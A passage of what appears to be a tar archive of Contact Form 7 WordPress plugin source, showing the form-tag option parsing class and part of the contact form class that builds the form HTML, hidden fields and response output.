			unset( $messages['captcha_not_match'] );
		}

		foreach ( $messages as $key => $message ) {
			$section = sprintf( 'messages.%s', $key );

			if ( $this->supports( 'html_in_message' ) ) {
				if ( $this->detect_html_in_message( $section, $message ) ) {
					$this->add_error( $section, 'html_in_message',
						array(
							'message' => __( "HTML tags are used in a message.", 'contact-form-7' ),
						)
					);
				} else {
					$this->remove_error( $section, 'html_in_message' );
				}
			}
		}
	}


	/**
	 * Detects errors of HTML uses in a message.
	 *
	 * @link https://contactform7.com/configuration-errors/html-in-message/
	 */
	public function detect_html_in_message( $section, $content ) {
		$stripped = wp_strip_all_tags( $content );

		if ( $stripped !== $content ) {
			return true;
		}

		return false;
	}

}
contact-form-7/includes/form-tag.php000064400000032655147510273060013357 0ustar00<?php

/**
 * A form-tag.
 *
 * @link https://contactform7.com/tag-syntax/#form_tag
 */
class WPCF7_FormTag implements ArrayAccess {

	public $type;
	public $basetype;
	public $raw_name = '';
	public $name = '';
	public $options = array();
	public $raw_values = array();
	public $values = array();
	public $pipes;
	public $labels = array();
	public $attr = '';
	public $content = '';

	public function __construct( $tag = array() ) {
		if ( is_array( $tag )
		or $tag instanceof self ) {
			foreach ( $tag as $key => $value ) {
				if ( property_exists( __CLASS__, $key ) ) {
					$this->{$key} = $value;
				}
			}
		}
	}


	/**
	 * Returns true if the type has a trailing asterisk.
	 */
	public function is_required() {
		return str_ends_with( $this->type, '*' );
	}


	/**
	 * Returns true if the form-tag has a specified option.
	 */
	public function has_option( $option_name ) {
		$pattern = sprintf( '/^%s(:.+)?$/i', preg_quote( $option_name, '/' ) );
		return (bool) preg_grep( $pattern, $this->options );
	}


	/**
	 * Retrieves option values with the specified option name.
	 *
	 * @param string $option_name Option name.
	 * @param string $pattern Optional. A regular expression pattern or one of
	 *               the keys of preset patterns. If specified, only options
	 *               whose value part matches this pattern will be returned.
	 * @param bool $single Optional. If true, only the first matching option
	 *             will be returned. Default false.
	 * @return string|array|bool The option value or an array of option values.
	 *                           False if there is no option matches the pattern.
	 */
	public function get_option( $option_name, $pattern = '', $single = false ) {
		$preset_patterns = array(
			'date' => '[0-9]{4}-[0-9]{2}-[0-9]{2}',
			'int' => '[0-9]+',
			'signed_int' => '[-]?[0-9]+',
			'num' => '(?:[0-9]+|(?:[0-9]+)?[.][0-9]+)',
			'signed_num' => '[-]?(?:[0-9]+|(?:[0-9]+)?[.][0-9]+)',
			'class' => '[-0-9a-zA-Z_]+',
			'id' => '[-0-9a-zA-Z_]+',
		);

		if ( isset( $preset_patterns[$pattern] ) ) {
			$pattern = $preset_patterns[$pattern];
		}

		if ( '' == $pattern ) {
			$pattern = '.+';
		}

		$pattern = sprintf(
			'/^%s:%s$/i',
			preg_quote( $option_name, '/' ),
			$pattern
		);

		if ( $single ) {
			$matches = $this->get_first_match_option( $pattern );

			if ( ! $matches ) {
				return false;
			}

			return substr( $matches[0], strlen( $option_name ) + 1 );
		} else {
			$matches_a = $this->get_all_match_options( $pattern );

			if ( ! $matches_a ) {
				return false;
			}

			$results = array();

			foreach ( $matches_a as $matches ) {
				$results[] = substr( $matches[0], strlen( $option_name ) + 1 );
			}

			return $results;
		}
	}


	/**
	 * Retrieves the id option value from the form-tag.
	 */
	public function get_id_option() {
		static $used = array();

		$option = $this->get_option( 'id', 'id', true );

		if (
			! $option or
			str_starts_with( $option, 'wpcf7' ) or
			in_array( $option, $used, true )
		) {
			return false;
		}

		$used[] = $option;

		return $option;
	}


	/**
	 * Retrieves the class option value from the form-tag.
	 *
	 * @param string|array $default_classes Optional. Preset classes as an array
	 *                     or a whitespace-separated list. Default empty string.
	 * @return string|bool A whitespace-separated list of classes.
	 *                     False if there is no class to return.
	 */
	public function get_class_option( $default_classes = '' ) {
		if ( is_string( $default_classes ) ) {
			$default_classes = explode( ' ', $default_classes );
		}

		$options = array_merge(
			(array) $default_classes,
			(array) $this->get_option( 'class' )
		);

		$options = array_map( 'sanitize_html_class', $options );
		$options = array_filter( array_unique( $options ) );

		if ( empty( $options ) ) {
			return false;
		}

		return implode( ' ', $options );
	}


	/**
	 * Retrieves the size option value from the form-tag.
	 *
	 * @param string $default_value Optional default value.
	 * @return string The option value.
	 */
	public function get_size_option( $default_value = false ) {
		$option = $this->get_option( 'size', 'int', true );

		if ( $option ) {
			return $option;
		}

		$matches_a = $this->get_all_match_options( '%^([0-9]*)/[0-9]*$%' );

		foreach ( (array) $matches_a as $matches ) {
			if ( isset( $matches[1] ) and '' !== $matches[1] ) {
				return $matches[1];
			}
		}

		return $default_value;
	}


	/**
	 * Retrieves the maxlength option value from the form-tag.
	 *
	 * @param string $default_value Optional default value.
	 * @return string The option value.
	 */
	public function get_maxlength_option( $default_value = false ) {
		$option = $this->get_option( 'maxlength', 'int', true );

		if ( $option ) {
			return $option;
		}

		$matches_a = $this->get_all_match_options(
			'%^(?:[0-9]*x?[0-9]*)?/([0-9]+)$%'
		);

		foreach ( (array) $matches_a as $matches ) {
			if ( isset( $matches[1] ) and '' !== $matches[1] ) {
				return $matches[1];
			}
		}

		return $default_value;
	}


	/**
	 * Retrieves the minlength option value from the form-tag.
	 *
	 * @param string $default_value Optional default value.
	 * @return string The option value.
	 */
	public function get_minlength_option( $default_value = false ) {
		$option = $this->get_option( 'minlength', 'int', true );

		if ( $option ) {
			return $option;
		} else {
			return $default_value;
		}
	}


	/**
	 * Retrieves the cols option value from the form-tag.
	 *
	 * @param string $default_value Optional default value.
	 * @return string The option value.
	 */
	public function get_cols_option( $default_value = false ) {
		$option = $this->get_option( 'cols', 'int', true );

		if ( $option ) {
			return $option;
		}

		$matches_a = $this->get_all_match_options(
			'%^([0-9]*)x([0-9]*)(?:/[0-9]+)?$%'
		);

		foreach ( (array) $matches_a as $matches ) {
			if ( isset( $matches[1] ) and '' !== $matches[1] ) {
				return $matches[1];
			}
		}

		return $default_value;
	}


	/**
	 * Retrieves the rows option value from the form-tag.
	 *
	 * @param string $default_value Optional default value.
	 * @return string The option value.
	 */
	public function get_rows_option( $default_value = false ) {
		$option = $this->get_option( 'rows', 'int', true );

		if ( $option ) {
			return $option;
		}

		$matches_a = $this->get_all_match_options(
			'%^([0-9]*)x([0-9]*)(?:/[0-9]+)?$%'
		);

		foreach ( (array) $matches_a as $matches ) {
			if ( isset( $matches[2] ) and '' !== $matches[2] ) {
				return $matches[2];
			}
		}

		return $default_value;
	}


	/**
	 * Retrieves a date-type option value from the form-tag.
	 *
	 * @param string $option_name A date-type option name, such as 'min' or 'max'.
	 * @return string|bool The option value in YYYY-MM-DD format. False if the
	 *                     option does not exist or the date value is invalid.
	 */
	public function get_date_option( $option_name ) {
		$option_value = $this->get_option( $option_name, '', true );

		if ( empty( $option_value ) ) {
			return false;
		}

		$date = apply_filters( 'wpcf7_form_tag_date_option',
			null,
			array( $option_name => $option_value )
		);

		if ( $date ) {
			$date_pattern = '/^([0-9]{4})-([0-9]{2})-([0-9]{2})$/';

			if ( preg_match( $date_pattern, $date, $matches )
			and checkdate( $matches[2], $matches[3], $matches[1] ) ) {
				return $date;
			}
		} else {
			$datetime_obj = date_create_immutable(
				preg_replace( '/[_]+/', ' ', $option_value ),
				wp_timezone()
			);

			if ( $datetime_obj ) {
				return $datetime_obj->format( 'Y-m-d' );
			}
		}

		return false;
	}


	/**
	 * Retrieves the default option value from the form-tag.
	 *
	 * @param string|array $default_value Optional default value.
	 * @param string|array $args Optional options for the option value retrieval.
	 * @return string|array The option value. If the multiple option is enabled,
	 *                      an array of option values.
	 */
	public function get_default_option( $default_value = '', $args = '' ) {
		$args = wp_parse_args( $args, array(
			'multiple' => false,
			'shifted' => false,
		) );

		$options = (array) $this->get_option( 'default' );
		$values = array();

		if ( empty( $options ) ) {
			return $args['multiple'] ? $values : $default_value;
		}

		foreach ( $options as $opt ) {
			$opt = sanitize_key( $opt );

			if ( 'user_' == substr( $opt, 0, 5 ) and is_user_logged_in() ) {
				$primary_props = array( 'user_login', 'user_email', 'user_url' );
				$opt = in_array( $opt, $primary_props ) ? $opt : substr( $opt, 5 );

				$user = wp_get_current_user();
				$user_prop = $user->get( $opt );

				if ( ! empty( $user_prop ) ) {
					if ( $args['multiple'] ) {
						$values[] = $user_prop;
					} else {
						return $user_prop;
					}
				}

			} elseif ( 'post_meta' === $opt and in_the_loop() ) {
				if ( $args['multiple'] ) {
					$values = array_merge( $values,
						get_post_meta( get_the_ID(), $this->name )
					);
				} else {
					$val = (string) get_post_meta( get_the_ID(), $this->name, true );

					if ( strlen( $val ) ) {
						return $val;
					}
				}

			} elseif ( 'get' === $opt and isset( $_GET[$this->name] ) ) {
				$vals = (array) $_GET[$this->name];
				$vals = array_map( 'wpcf7_sanitize_query_var', $vals );

				if ( $args['multiple'] ) {
					$values = array_merge( $values, $vals );
				} else {
					$val = isset( $vals[0] ) ? (string) $vals[0] : '';

					if ( strlen( $val ) ) {
						return $val;
					}
				}

			} elseif ( 'post' === $opt and isset( $_POST[$this->name] ) ) {
				$vals = (array) $_POST[$this->name];
				$vals = array_map( 'wpcf7_sanitize_query_var', $vals );

				if ( $args['multiple'] ) {
					$values = array_merge( $values, $vals );
				} else {
					$val = isset( $vals[0] ) ? (string) $vals[0] : '';

					if ( strlen( $val ) ) {
						return $val;
					}
				}

			} elseif ( 'shortcode_attr' === $opt ) {
				if ( $contact_form = WPCF7_ContactForm::get_current() ) {
					$val = $contact_form->shortcode_attr( $this->name );

					if ( isset( $val ) and strlen( $val ) ) {
						if ( $args['multiple'] ) {
							$values[] = $val;
						} else {
							return $val;
						}
					}
				}

			} elseif ( preg_match( '/^[0-9_]+$/', $opt ) ) {
				$nums = explode( '_', $opt );

				foreach ( $nums as $num ) {
					$num = absint( $num );
					$num = $args['shifted'] ? $num : $num - 1;

					if ( isset( $this->values[$num] ) ) {
						if ( $args['multiple'] ) {
							$values[] = $this->values[$num];
						} else {
							return $this->values[$num];
						}
					}
				}
			}
		}

		if ( $args['multiple'] ) {
			$values = array_unique( $values );
			return $values;
		} else {
			return $default_value;
		}
	}


	/**
	 * Retrieves the data option value from the form-tag.
	 *
	 * @param string|array $args Optional options for the option value retrieval.
	 * @return mixed The option value.
	 */
	public function get_data_option( $args = '' ) {
		$options = (array) $this->get_option( 'data' );

		return apply_filters( 'wpcf7_form_tag_data_option', null, $options, $args );
	}


	/**
	 * Retrieves the limit option value from the form-tag.
	 *
	 * @param int $default_value Optional default value. Default 1048576.
	 * @return int The option value.
	 */
	public function get_limit_option( $default_value = MB_IN_BYTES ) {
		$pattern = '/^limit:([1-9][0-9]*)([kKmM]?[bB])?$/';

		$matches = $this->get_first_match_option( $pattern );

		if ( $matches ) {
			$size = (int) $matches[1];

			if ( ! empty( $matches[2] ) ) {
				$kbmb = strtolower( $matches[2] );

				if ( 'kb' === $kbmb ) {
					$size *= KB_IN_BYTES;
				} elseif ( 'mb' === $kbmb ) {
					$size *= MB_IN_BYTES;
				}
			}

			return $size;
		}

		return (int) $default_value;
	}


	/**
	 * Retrieves the value of the first option matches the given
	 * regular expression pattern.
	 *
	 * @param string $pattern Regular expression pattern.
	 * @return array|bool Option value as an array of matched strings.
	 *                    False if there is no option matches the pattern.
	 */
	public function get_first_match_option( $pattern ) {
		foreach( (array) $this->options as $option ) {
			if ( preg_match( $pattern, $option, $matches ) ) {
				return $matches;
			}
		}

		return false;
	}


	/**
	 * Retrieves values of options that match the given
	 * regular expression pattern.
	 *
	 * @param string $pattern Regular expression pattern.
	 * @return array Array of arrays of strings that match the pattern.
	 */
	public function get_all_match_options( $pattern ) {
		$result = array();

		foreach( (array) $this->options as $option ) {
			if ( preg_match( $pattern, $option, $matches ) ) {
				$result[] = $matches;
			}
		}

		return $result;
	}


	/**
	 * Assigns a value to the specified offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetset.php
	 */
	#[ReturnTypeWillChange]
	public function offsetSet( $offset, $value ) {
		if ( property_exists( __CLASS__, $offset ) ) {
			$this->{$offset} = $value;
		}
	}


	/**
	 * Returns the value at specified offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetget.php
	 */
	#[ReturnTypeWillChange]
	public function offsetGet( $offset ) {
		if ( property_exists( __CLASS__, $offset ) ) {
			return $this->{$offset};
		}

		return null;
	}


	/**
	 * Returns true if the specified offset exists.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetexists.php
	 */
	#[ReturnTypeWillChange]
	public function offsetExists( $offset ) {
		return property_exists( __CLASS__, $offset );
	}


	/**
	 * Unsets an offset.
	 *
	 * @link https://www.php.net/manual/en/arrayaccess.offsetunset.php
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset( $offset ) {
	}

}
contact-form-7/includes/contact-form.php000064400000075126147510273060014237 0ustar00<?php

class WPCF7_ContactForm {

	use WPCF7_SWV_SchemaHolder;
	use WPCF7_PipesHolder;

	const post_type = 'wpcf7_contact_form';

	private static $found_items = 0;
	private static $current = null;

	private $id;
	private $name;
	private $title;
	private $locale;
	private $properties = array();
	private $unit_tag;
	private $responses_count = 0;
	private $scanned_form_tags;
	private $shortcode_atts = array();
	private $hash = '';


	/**
	 * Returns count of contact forms found by the previous retrieval.
	 *
	 * @return int Count of contact forms.
	 */
	public static function count() {
		return self::$found_items;
	}


	/**
	 * Returns the contact form that is currently processed.
	 *
	 * @return WPCF7_ContactForm|null Current contact form object. Null if unset.
	 */
	public static function get_current() {
		return self::$current;
	}


	/**
	 * Registers the post type for contact forms.
	 */
	public static function register_post_type() {
		register_post_type( self::post_type, array(
			'labels' => array(
				'name' => __( 'Contact Forms', 'contact-form-7' ),
				'singular_name' => __( 'Contact Form', 'contact-form-7' ),
			),
			'rewrite' => false,
			'query_var' => false,
			'public' => false,
			'capability_type' => 'page',
			'capabilities' => array(
				'edit_post' => 'wpcf7_edit_contact_form',
				'read_post' => 'wpcf7_read_contact_form',
				'delete_post' => 'wpcf7_delete_contact_form',
				'edit_posts' => 'wpcf7_edit_contact_forms',
				'edit_others_posts' => 'wpcf7_edit_contact_forms',
				'publish_posts' => 'wpcf7_edit_contact_forms',
				'read_private_posts' => 'wpcf7_edit_contact_forms',
			),
		) );
	}


	/**
	 * Retrieves contact form data that match given conditions.
	 *
	 * @param string|array $args Optional. Arguments to be passed to WP_Query.
	 * @return array Array of WPCF7_ContactForm objects.
	 */
	public static function find( $args = '' ) {
		$defaults = array(
			'post_status' => 'any',
			'posts_per_page' => -1,
			'offset' => 0,
			'orderby' => 'ID',
			'order' => 'ASC',
		);

		$args = wp_parse_args( $args, $defaults );

		$args['post_type'] = self::post_type;

		$q = new WP_Query();
		$posts = $q->query( $args );

		self::$found_items = $q->found_posts;

		$objs = array();

		foreach ( (array) $posts as $post ) {
			$objs[] = new self( $post );
		}

		return $objs;
	}


	/**
	 * Returns a contact form data filled by default template contents.
	 *
	 * @param string|array $options Optional. Contact form options.
	 * @return WPCF7_ContactForm A new contact form object.
	 */
	public static function get_template( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'locale' => null,
			'title' => __( 'Untitled', 'contact-form-7' ),
		) );

		if ( ! isset( $options['locale'] ) ) {
			$options['locale'] = determine_locale();
		}

		$callback = static function ( $options ) {
			$contact_form = new self;
			$contact_form->title = $options['title'];
			$contact_form->locale = $options['locale'];

			$properties = $contact_form->get_properties();

			foreach ( $properties as $key => $value ) {
				$default_template = WPCF7_ContactFormTemplate::get_default( $key );

				if ( isset( $default_template ) ) {
					$properties[$key] = $default_template;
				}
			}

			$contact_form->properties = $properties;

			return $contact_form;
		};

		$contact_form = wpcf7_switch_locale(
			$options['locale'],
			$callback,
			$options
		);

		self::$current = apply_filters( 'wpcf7_contact_form_default_pack',
			$contact_form, $options
		);

		return self::$current;
	}


	/**
	 * Creates a WPCF7_ContactForm object and sets it as the current instance.
	 *
	 * @param WPCF7_ContactForm|WP_Post|int $post Object or post ID.
	 * @return WPCF7_ContactForm|null Contact form object. Null if unset.
	 */
	public static function get_instance( $post ) {
		$contact_form = null;

		if ( $post instanceof self ) {
			$contact_form = $post;
		} elseif ( ! empty( $post ) ) {
			$post = get_post( $post );

			if ( isset( $post ) and self::post_type === get_post_type( $post ) ) {
				$contact_form = new self( $post );
			}
		}

		return self::$current = $contact_form;
	}


	/**
	 * Generates a "unit-tag" for the given contact form ID.
	 *
	 * @return string Unit-tag.
	 */
	private static function generate_unit_tag( $id = 0 ) {
		static $global_count = 0;

		$global_count += 1;

		if ( in_the_loop() ) {
			$unit_tag = sprintf( 'wpcf7-f%1$d-p%2$d-o%3$d',
				absint( $id ),
				get_the_ID(),
				$global_count
			);
		} else {
			$unit_tag = sprintf( 'wpcf7-f%1$d-o%2$d',
				absint( $id ),
				$global_count
			);
		}

		return $unit_tag;
	}


	/**
	 * Constructor.
	 */
	private function __construct( $post = null ) {
		$post = get_post( $post );

		if ( $post
		and self::post_type === get_post_type( $post ) ) {
			$this->id = $post->ID;
			$this->name = $post->post_name;
			$this->title = $post->post_title;
			$this->locale = get_post_meta( $post->ID, '_locale', true );
			$this->hash = get_post_meta( $post->ID, '_hash', true );

			$this->construct_properties( $post );
			$this->upgrade();
		} else {
			$this->construct_properties();
		}

		do_action( 'wpcf7_contact_form', $this );
	}


	/**
	 * Magic method for property overloading.
	 */
	public function __get( $name ) {
		$message = __( '<code>%1$s</code> property of a <code>WPCF7_ContactForm</code> object is <strong>no longer accessible</strong>. Use <code>%2$s</code> method instead.', 'contact-form-7' );

		if ( 'id' === $name ) {
			wp_trigger_error(
				'',
				sprintf( $message, 'id', 'id()' ),
				E_USER_DEPRECATED
			);

			return $this->id;
		} elseif ( 'title' === $name ) {
			wp_trigger_error(
				'',
				sprintf( $message, 'title', 'title()' ),
				E_USER_DEPRECATED
			);

			return $this->title;
		} elseif ( $prop = $this->prop( $name ) ) {
			wp_trigger_error(
				'',
				sprintf( $message, $name, 'prop(\'' . $name . '\')' ),
				E_USER_DEPRECATED
			);

			return $prop;
		}
	}


	/**
	 * Returns true if this contact form is not yet saved to the database.
	 */
	public function initial() {
		return empty( $this->id );
	}


	/**
	 * Constructs contact form properties. This is called only once
	 * from the constructor.
	 */
	private function construct_properties( $post = null ) {
		$builtin_properties = array(
			'form' => '',
			'mail' => array(),
			'mail_2' => array(),
			'messages' => array(),
			'additional_settings' => '',
		);

		$properties = apply_filters(
			'wpcf7_pre_construct_contact_form_properties',
			$builtin_properties, $this
		);

		// Filtering out properties with invalid name
		$properties = array_filter(
			$properties,
			static function ( $key ) {
				$sanitized_key = sanitize_key( $key );
				return $key === $sanitized_key;
			},
			ARRAY_FILTER_USE_KEY
		);

		foreach ( $properties as $name => $val ) {
			$prop = $this->retrieve_property( $name );

			if ( isset( $prop ) ) {
				$properties[$name] = $prop;
			}
		}

		$this->properties = $properties;

		foreach ( $properties as $name => $val ) {
			$properties[$name] = apply_filters(
				"wpcf7_contact_form_property_{$name}",
				$val, $this
			);
		}

		$this->properties = $properties;

		$properties = (array) apply_filters(
			'wpcf7_contact_form_properties',
			$properties, $this
		);

		$this->properties = $properties;
	}


	/**
	 * Retrieves contact form property of the specified name from the database.
	 *
	 * @param string $name Property name.
	 * @return array|string|null Property value. Null if property does not exist.
	 */
	private function retrieve_property( $name ) {
		$property = null;

		if ( ! $this->initial() ) {
			$post_id = $this->id;

			if ( metadata_exists( 'post', $post_id, '_' . $name ) ) {
				$property = get_post_meta( $post_id, '_' . $name, true );
			} elseif ( metadata_exists( 'post', $post_id, $name ) ) {
				$property = get_post_meta( $post_id, $name, true );
			}
		}

		return $property;
	}


	/**
	 * Returns the value for the given property name.
	 *
	 * @param string $name Property name.
	 * @return array|string|null Property value. Null if property does not exist.
	 */
	public function prop( $name ) {
		$props = $this->get_properties();
		return isset( $props[$name] ) ? $props[$name] : null;
	}


	/**
	 * Returns all the properties.
	 *
	 * @return array This contact form's properties.
	 */
	public function get_properties() {
		return (array) $this->properties;
	}


	/**
	 * Updates properties.
	 *
	 * @param array $properties New properties.
	 */
	public function set_properties( $properties ) {
		$defaults = $this->get_properties();

		$properties = wp_parse_args( $properties, $defaults );
		$properties = array_intersect_key( $properties, $defaults );

		$this->properties = $properties;
	}


	/**
	 * Returns ID of this contact form.
	 *
	 * @return int The ID.
	 */
	public function id() {
		return $this->id;
	}


	/**
	 * Returns unit-tag for this contact form.
	 *
	 * @return string Unit-tag.
	 */
	public function unit_tag() {
		return $this->unit_tag;
	}


	/**
	 * Returns name (slug) of this contact form.
	 *
	 * @return string Name.
	 */
	public function name() {
		return $this->name;
	}


	/**
	 * Returns title of this contact form.
	 *
	 * @return string Title.
	 */
	public function title() {
		return $this->title;
	}


	/**
	 * Set a title for this contact form.
	 *
	 * @param string $title Title.
	 */
	public function set_title( $title ) {
		$title = strip_tags( $title );
		$title = trim( $title );

		if ( '' === $title ) {
			$title = __( 'Untitled', 'contact-form-7' );
		}

		$this->title = $title;
	}


	/**
	 * Returns the locale code of this contact form.
	 *
	 * @return string Locale code. Empty string if no valid locale is set.
	 */
	public function locale() {
		if ( wpcf7_is_valid_locale( $this->locale ) ) {
			return $this->locale;
		} else {
			return '';
		}
	}


	/**
	 * Sets a locale for this contact form.
	 *
	 * @param string $locale Locale code.
	 */
	public function set_locale( $locale ) {
		$locale = trim( $locale );

		if ( wpcf7_is_valid_locale( $locale ) ) {
			$this->locale = $locale;
		} else {
			$this->locale = 'en_US';
		}
	}


	/**
	 * Retrieves the random hash string tied to this contact form.
	 *
	 * @param int $length Length of hash string.
	 * @return string Hash string unique to this contact form.
	 */
	public function hash( $length = 7 ) {
		return substr( $this->hash, 0, absint( $length ) );
	}


	/**
	 * Returns the specified shortcode attribute value.
	 *
	 * @param string $name Shortcode attribute name.
	 * @return string|null Attribute value. Null if the attribute does not exist.
	 */
	public function shortcode_attr( $name ) {
		if ( isset( $this->shortcode_atts[$name] ) ) {
			return (string) $this->shortcode_atts[$name];
		}
	}


	/**
	 * Returns true if this contact form is identical to the submitted one.
	 */
	public function is_posted() {
		if ( ! WPCF7_Submission::get_instance() ) {
			return false;
		}

		if ( empty( $_POST['_wpcf7_unit_tag'] ) ) {
			return false;
		}

		return $this->unit_tag() === $_POST['_wpcf7_unit_tag'];
	}


	/**
	 * Generates HTML that represents a form.
	 *
	 * @param string|array $options Optional. Form options.
	 * @return string HTML output.
	 */
	public function form_html( $options = '' ) {
		$options = wp_parse_args( $options, array(
			'html_id' => '',
			'html_name' => '',
			'html_title' => '',
			'html_class' => '',
			'output' => 'form',
		) );

		$this->shortcode_atts = $options;

		if ( 'raw_form' == $options['output'] ) {
			return sprintf(
				'<pre class="wpcf7-raw-form"><code>%s</code></pre>',
				esc_html( $this->prop( 'form' ) )
			);
		}

		if ( $this->is_true( 'subscribers_only' )
		and ! current_user_can( 'wpcf7_submit', $this->id() ) ) {
			$notice = __(
				"This contact form is available only for logged in users.",
				'contact-form-7'
			);

			$notice = sprintf(
				'<p class="wpcf7-subscribers-only">%s</p>',
				esc_html( $notice )
			);

			return apply_filters( 'wpcf7_subscribers_only_notice', $notice, $this );
		}

		$this->unit_tag = self::generate_unit_tag( $this->id );

		$action_url = wpcf7_get_request_uri();

		if ( $frag = strstr( $action_url, '#' ) ) {
			$action_url = substr( $action_url, 0, -strlen( $frag ) );
		}

		$action_url .= '#' . $this->unit_tag();

		$action_url = apply_filters( 'wpcf7_form_action_url', $action_url );

		if (
			str_starts_with( $action_url, '//' ) or
			! str_starts_with( $action_url, '/' ) and
			! str_starts_with( $action_url, home_url() )
		) {
			return sprintf(
				'<p class="wpcf7-invalid-action-url"><strong>%1$s</strong> %2$s</p>',
				esc_html( __( 'Error:', 'contact-form-7' ) ),
				esc_html( __( "Invalid action URL is detected.", 'contact-form-7' ) )
			);
		}

		$lang_tag = str_replace( '_', '-', $this->locale );

		if ( preg_match( '/^([a-z]+-[a-z]+)-/i', $lang_tag, $matches ) ) {
			$lang_tag = $matches[1];
		}

		$html = "\n" . sprintf( '<div %s>',
			wpcf7_format_atts( array(
				'class' => 'wpcf7 no-js',
				'id' => $this->unit_tag(),
				( get_option( 'html_type' ) == 'text/html' ) ? 'lang' : 'xml:lang'
					=> $lang_tag,
				'dir' => wpcf7_is_rtl( $this->locale ) ? 'rtl' : 'ltr',
				'data-wpcf7-id' => $this->id(),
			) )
		);

		$html .= "\n" . $this->screen_reader_response() . "\n";

		$id_attr = apply_filters( 'wpcf7_form_id_attr',
			preg_replace( '/[^A-Za-z0-9:._-]/', '', $options['html_id'] )
		);

		$name_attr = apply_filters( 'wpcf7_form_name_attr',
			preg_replace( '/[^A-Za-z0-9:._-]/', '', $options['html_name'] )
		);

		$title_attr = apply_filters( 'wpcf7_form_title_attr', $options['html_title'] );

		$class = 'wpcf7-form';

		if ( $this->is_posted() ) {
			$submission = WPCF7_Submission::get_instance();

			$data_status_attr = $this->form_status_class_name(
				$submission->get_status()
			);

			$class .= sprintf( ' %s', $data_status_attr );
		} else {
			$data_status_attr = 'init';
			$class .= ' init';
		}

		if ( $options['html_class'] ) {
			$class .= ' ' . $options['html_class'];
		}

		if ( $this->in_demo_mode() ) {
			$class .= ' demo';
		}

		$class = explode( ' ', $class );
		$class = array_map( 'sanitize_html_class', $class );
		$class = array_filter( $class );
		$class = array_unique( $class );
		$class = implode( ' ', $class );
		$class = apply_filters( 'wpcf7_form_class_attr', $class );

		$enctype = wpcf7_enctype_value( apply_filters( 'wpcf7_form_enctype', '' ) );
		$autocomplete = apply_filters( 'wpcf7_form_autocomplete', '' );

		$atts = array(
			'action' => esc_url( $action_url ),
			'method' => 'post',
			'class' => ( '' !== $class ) ? $class : null,
			'id' => ( '' !== $id_attr ) ? $id_attr : null,
			'name' => ( '' !== $name_attr ) ? $name_attr : null,
			'aria-label' => ( '' !== $title_attr )
				? $title_attr : __( 'Contact form', 'contact-form-7' ),
			'enctype' => ( '' !== $enctype ) ? $enctype : null,
			'autocomplete' => ( '' !== $autocomplete ) ? $autocomplete : null,
			'novalidate' => true,
			'data-status' => $data_status_attr,
		);

		$atts += (array) apply_filters( 'wpcf7_form_additional_atts', array() );

		$html .= sprintf( '<form %s>', wpcf7_format_atts( $atts ) ) . "\n";
		$html .= $this->form_hidden_fields();
		$html .= $this->form_elements();

		if ( ! $this->responses_count ) {
			$html .= $this->form_response_output();
		}

		$html .= "\n" . '</form>';
		$html .= "\n" . '</div>';

		return $html . "\n";
	}


	/**
	 * Returns the class name that matches the given form status.
	 */
	private function form_status_class_name( $status ) {
		switch ( $status ) {
			case 'init':
				$class = 'init';
				break;
			case 'validation_failed':
				$class = 'invalid';
				break;
			case 'acceptance_missing':
				$class = 'unaccepted';
				break;
			case 'spam':
				$class = 'spam';
				break;
			case 'aborted':
				$class = 'aborted';
				break;
			case 'mail_sent':
				$class = 'sent';
				break;
			case 'mail_failed':
				$class = 'failed';
				break;
			default:
				$class = sprintf(
					'custom-%s',
					preg_replace( '/[^0-9a-z]+/i', '-', $status )
				);
		}

		return $class;
	}


	/**
	 * Returns a set of hidden fields.
	 */
	private function form_hidden_fields() {
		$hidden_fields = array(
			'_wpcf7' => $this->id(),
			'_wpcf7_version' => WPCF7_VERSION,
			'_wpcf7_locale' => $this->locale(),
			'_wpcf7_unit_tag' => $this->unit_tag(),
			'_wpcf7_container_post' => 0,
			'_wpcf7_posted_data_hash' => '',
		);

		if ( in_the_loop() ) {
			$hidden_fields['_wpcf7_container_post'] = (int) get_the_ID();
		}

		if ( $this->nonce_is_active() and is_user_logged_in() ) {
			$hidden_fields['_wpnonce'] = wpcf7_create_nonce();
		}

		$hidden_fields += (array) apply_filters(
			'wpcf7_form_hidden_fields', array()
		);

		$content = '';

		foreach ( $hidden_fields as $name => $value ) {
			$content .= sprintf(
				'<input type="hidden" name="%1$s" value="%2$s" />',
				esc_attr( $name ),
				esc_attr( $value )
			) . "\n";
		}

		return '<div style="display: none;">' . "\n" . $content . '</div>' . "\n";
	}


	/**
	 * Returns the visible response output for a form submission.
	 */
	public function form_response_output() {
		$status = 'init';
		$class = 'wpcf7-response-output';
		$content = '';

		if ( $this->is_posted() ) { // Post response output for non-AJAX
			$submission = WPCF7_Submission::get_instance();
			$status = $submission->get_status();
			$content = $submission->get_response();
		}

		$atts = array(
			'class' => trim( $class ),
			'aria-hidden' => 'true',
		);

		$output = sprintf( '<div %1$s>%2$s</div>',
			wpcf7_format_atts( $atts ),
			esc_html( $content )
		);

		$output = apply_filters( 'wpcf7_form_response_output',
			$output, $class, $content, $this, $status
		);

		$this->responses_count += 1;

		return $output;
	}


	/**
	 * Returns the response output that is only accessible from screen readers.
	 */
	public function screen_reader_response() {
		$primary_response = '';
		$validation_errors = array();

		if ( $this->is_posted() ) { // Post response output for non-AJAX
			$submission = WPCF7_Submission::get_instance();
			$primary_response = $submission->get_response();

			if ( $invalid_fields = $submission->get_invalid_fields() ) {
				foreach ( (array) $invalid_fields as $name => $field ) {
					$list_item = esc_html( $field['reason'] );

					if ( $field['idref'] ) {
						$list_item = sprintf(
							'<a href="#%1$s">%2$s</a>',
							esc_attr( $field['idref'] ),
							$list_item
						);
					}

					$validation_error_id = wpcf7_get_validation_error_reference(
						$name,
						$this->unit_tag()
					);

					if ( $validation_error_id ) {
						$list_item = sprintf(
							'<li id="%1$s">%2$s</li>',
							esc_attr( $validation_error_id ),
							$list_item
						);

						$validation_errors[] = $list_item;
					}
				}
			}
		}

		$primary_response = sprintf(
			'<p role="status" aria-live="polite" aria-atomic="true">%s</p>',
			esc_html( $primary_response )
		);

		$validation_errors = sprintf(
			'<ul>%s</ul>',
			implode( "\n", $validation_errors )
		);

		$output = sprintf(
			'<div class="screen-reader-response">%1$s %2$s</div>',
			$primary_response,
			$validation_errors
		);

		return $output;
	}


	/**
	 * Returns a validation error for the specified input field.
	 *
	 * @param string $name Input field name.
	 */
